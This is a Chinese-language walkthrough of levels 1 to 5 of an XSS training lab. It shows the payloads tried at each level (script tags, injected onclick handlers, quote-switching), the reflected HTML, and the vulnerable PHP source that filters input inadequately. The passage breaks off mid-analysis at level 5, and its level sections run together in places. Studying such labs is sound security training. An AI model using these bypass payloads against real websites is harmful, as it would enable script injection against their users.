使用基础poc<script>alert(1)</script>
发现一点过滤都没有,直接将name接收到的参数进行输出,导致弹窗
Level-2 简单尝试构造POC:<script>alert(1)</script>,发现并没有弹窗,看一下前端回显部分源码
<h2 align=center>没有找到和<script>alert(1)</script>相关的结果.</h2><center> <form action=level2.php method=GET> <input name=keyword value="<script>alert(1)</script>"> <input type=submit name=submit value="搜索"/> </form> 绕过分析发现<h2>标签部分对$str进行了实体转化.htmlspecialchars(),所以尝试对<input>进行构造payload:"onclick="alert(1),当然这里用onnouseove=''也可以
<h2 align=center>没有找到和" onclick="alert(1)相关的结果.</h2><center> <form action=level2.php method=GET> <input name=keyword value=""> <input type=submit name=submit value="搜索"/> </form> 源码审计 <?php ini_set("display_errors", 0); $str = $_GET["keyword"]; echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center> <form action=level2.php method=GET> <input name=keyword value="'.$str.'">//这里直接将$str进行输出,仍然没有进行过滤,可能这样对我这种小白比较友好吧..... <input type=submit name=submit value="搜索"/> </form> </center>'; ?> Level-3 简单尝试构造POC"onclick="alert(1),发现并没有触发xss,查看一下前端源码
<h2 align=center>没有找到和" onclick="alert(1)相关的结果.</h2><center> <form action=level3.php method=GET> <input name=keyword value='" onclick="alert(1)'><!--原来是对$str进行了实体编码,所以我们重新构造payload--> <input type=submit name=submit value=搜索 /> </form> 绕过分析双引号被转移,所以使用单引号绕过,payload:'onclick='alert(1)
构造poc:"onclick="alert(1),成功弹窗
<h2 align=center>没有找到和"onclick="alert(1)相关的结果.</h2><center> <form action=level4.php method=GET> <input name=keyword value=""onclick="alert(1)"> <input type=submit name=submit value=搜索 /> </form> 源码审计这和上一个level有什么不一样嘛?打开源码才知道....
<?php ini_set("display_errors", 0); $str = $_GET["keyword"]; $str2=str_replace(">","",$str); $str3=str_replace("<","",$str2); //只是对<>进行过滤,奈何咱们没用<>,嘿嘿 echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center> <form action=level4.php method=GET> <input name=keyword value="'.$str3.'"> <input type=submit name=submit value=搜索 /> </form> </center>'; ?> Level-5 简单尝试???怎么又是input标签?尝试一下上一关的poc"onclick="alert(1),发现并没有成功
<h2 align=center>没有找到和test"onclick="alert(1)相关的结果.</h2><center> <form action=level5.php method=GET> <input name=keyword value="test"o_nclick="alert(1)"><!--发现这里是对on进行了替换:on->o_n--> <input type=submit name=submit value=搜索 /> </form> 绕过分析